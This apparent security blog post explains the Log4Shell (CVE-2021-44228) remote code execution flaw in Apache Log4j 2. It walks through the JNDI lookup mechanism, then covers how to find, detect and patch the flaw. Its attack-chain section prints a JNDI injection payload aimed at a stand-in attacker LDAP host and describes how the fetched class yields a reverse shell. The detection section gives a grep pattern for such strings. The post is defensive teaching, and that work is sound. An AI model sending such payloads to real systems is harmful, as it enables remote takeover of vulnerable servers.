The $2000 Bug: Explaining the Log4shell (Log4J) Vulnerability

Log4shell Vulnerability

Log4Shell (CVE-2021-44228) is a critical remote code execution (RCE) vulnerability in Apache Log4j 2, a widely used Java logging library. Discovered in late 2021, it carries a maximum CVSS severity score of 10.0 because it is trivial to exploit and provides full control over affected systems.

To secure your application against Log4Shell (CVE-2021-44228) in 2025, follow this comprehensive guide to identification, detection, and mitigation.

The Vulnerability Explained

The flaw comes from how Log4j handles “Lookups,” specifically through the Java Naming and Directory Interface (JNDI).

  1. Message Lookups: Log4j allows developers to use special syntax (e.g., ${java:version}) in logs that the library automatically replaces with dynamic values at runtime.
  2. JNDI Integration: JNDI is a Java API that lets applications discover and look up data and objects via different protocols, such as LDAP, RMI, and DNS.
  3. The Root Cause: In vulnerable versions (2.0-beta9 to 2.14.1), Log4j would resolve JNDI references found in any logged string. If an attacker can get a specific string logged, such as through an HTTP header like User-Agent Or a login username, the library will reach out to an external server to fetch and execute code.

Proof of Concept Attack Chain

A typical Log4Shell attack follows these steps:

  1. Attacker Setup: The attacker hosts a malicious Java class (e.g., Exploit.class) on a web server and sets up a malicious LDAP server that points to this file.
  2. Payload Injection: The attacker sends a request to the target application containing a JNDI string. A common payload looks like:
    ${jndi:ldap://attacker-server.com}
  3. Vulnerable Logging: The application logs this string (e.g., logging a failed login attempt or an HTTP header).
  4. Remote Lookup: Log4j parses the ${jndi:...} string and initiates an LDAP request to the attacker’s server.
  5. Code Execution: The attacker’s LDAP server responds with a reference to the malicious Java class. The target application downloads and executes this class, giving the attacker a reverse shell or the ability to run arbitrary commands.

Impact and Remediation

Log4j is embedded in millions of applications, including major services like AWS, Microsoft, Cisco, and Minecraft. The primary fix is to upgrade to Log4j 2.17.1 or newer for Java 8+.

For systems that cannot be patched immediately, disabling JNDI lookups by setting the system property log4j2.formatMsgNoLookups to true was a common temporary mitigation. You can use tools like the Huntress Log4Shell Tester or various vulnerability scanners to identify exposed instances.

Identification: Locating Log4j

Before scanning, you must find where Log4j exists in your environment, especially as a “transitive” dependency (a library used by another library).

Dependency Tree Analysis: Use build tools to reveal hidden instances.

For example, Maven, use the following:

mvn dependency:tree | grep log4j

For example, Gradle use the following:

./gradlew dependencies | grep log4j

Search for the specific vulnerable Java Archive (JAR) file on your servers.

# Find log4j-core JAR files on Linux
find / -name "log4j-core-*.jar"

# Check if a JAR contains the vulnerable JndiLookup class
grep -r --include "*.jar" JndiLookup.class /path/to/search
```

Detection: Spotting Exploit Attempts

Detection involves scanning active services and monitoring existing logs for malicious patterns.

Use specialized tools, such as Logpresso’s Log4j2-scan or enterprise scanners like Nessus and Microsoft Defender, to identify vulnerable endpoints.

Search your application logs for the common ${jndi:...} pattern. Note that attackers often obfuscate this:

egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds):' /var/log

Watch for unusual outbound traffic, specifically LDAP (port 389) or RMI requests from web servers to unknown external IPs. 

Mitigation: Patching and Workarounds

Remediation should follow a prioritized approach, starting with internet-facing apps.

Primary Fix: Upgrade to Log4j 2.17.1+

Updating to version 2.17.1 (for Java 8+) is the most effective solution as it completely disables the vulnerable JNDI lookup functionality by default.

Immediate Configuration Workaround (Version 2.10 to 2.14.1)

Set the following system property to true disable lookups without changing code. This requires a JVM restart.

# Via command line argument
java -Dlog4j2.formatMsgNoLookups=true -jar your-app.jar

# Via Environment Variable
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Emergency Workaround: Removing the Class

If you cannot upgrade or change configurations, you can manually delete the vulnerable class from the JAR file:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Configure your Web Application Firewall (WAF) to block strings containing ${jndi: and restrict server egress traffic so they cannot initiate unauthorized outbound LDAP/RMI connections.

If you find this write-up useful, look at our guide on the React2Shell vulnerability, which allows unauthenticated Remote Code Execution in React Server Components.

Leave a Reply

Your email address will not be published. Required fields are marked *

Previous Post
react2shell vulnerability

The $25,000 Bug: Explaining the React2shell Vulnerability